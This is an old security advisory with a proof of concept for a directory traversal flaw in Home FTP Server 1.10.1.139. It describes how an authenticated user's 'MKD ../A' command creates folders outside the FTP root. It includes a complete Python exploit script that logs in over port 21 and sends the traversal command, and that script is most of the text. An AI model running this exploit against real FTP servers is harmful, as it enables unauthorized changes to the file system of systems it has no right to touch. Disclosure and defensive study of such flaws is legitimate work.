Home FTP Server 1.10.1.139 Traversal

`Date of Discovery: 17-Nov-2009  
  
Credits:zhangmc[at]mail.ustc.edu.cn  
  
Vendor:  
Ari Pikivirta  
http://downstairs.dnsalias.net/homeftpserver.html  
  
Affected:  
Home FTP Server 1.10.1.139  
Earlier versions may also be affected  
  
Overview:  
Home FTP Server is an easy use FTP server Application. Directory Traversal Vulnerability exists in Home FTP Server that   
  
allows an authenticated user to create directories outside the FTP root directory, which may lead to other attacks.  
  
Details:  
Home FTP Server fails to sufficiently sanitize user-supplied input in 'MKD' command. An authenticated user could use command   
  
"MKD ../A" to create a folder named "A" outside the FTP root directory.  
If you could log on the server successfully, take the following steps to create directories outside the FTP root directory:  
  
1.sock.connect((hostname, 21))  
2.sock.send("user %s\r\n" %username)  
3.sock.send("pass %s\r\n" %passwd)  
4.sock.send("MKD ../A\r\n")  
5.sock.close()  
  
Severity:  
High  
  
Exploit example:  
  
#!/usr/bin/python  
import socket  
import sys  
  
def Usage():  
print ("Usage: ./expl.py <serv_ip> <Username> <password>\n")  
print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")  
if len(sys.argv) <> 4:  
Usage()  
sys.exit(1)  
else:  
hostname=sys.argv[1]  
username=sys.argv[2]  
passwd=sys.argv[3]  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect((hostname, 21))  
except:  
print ("Connection error!")  
sys.exit(1)  
r=sock.recv(1024)  
sock.send("user %s\r\n" %username)  
r=sock.recv(1024)  
sock.send("pass %s\r\n" %passwd)  
r=sock.recv(1024)  
sock.send("MKD ../A\r\n")  
sock.close()  
sys.exit(0);  
`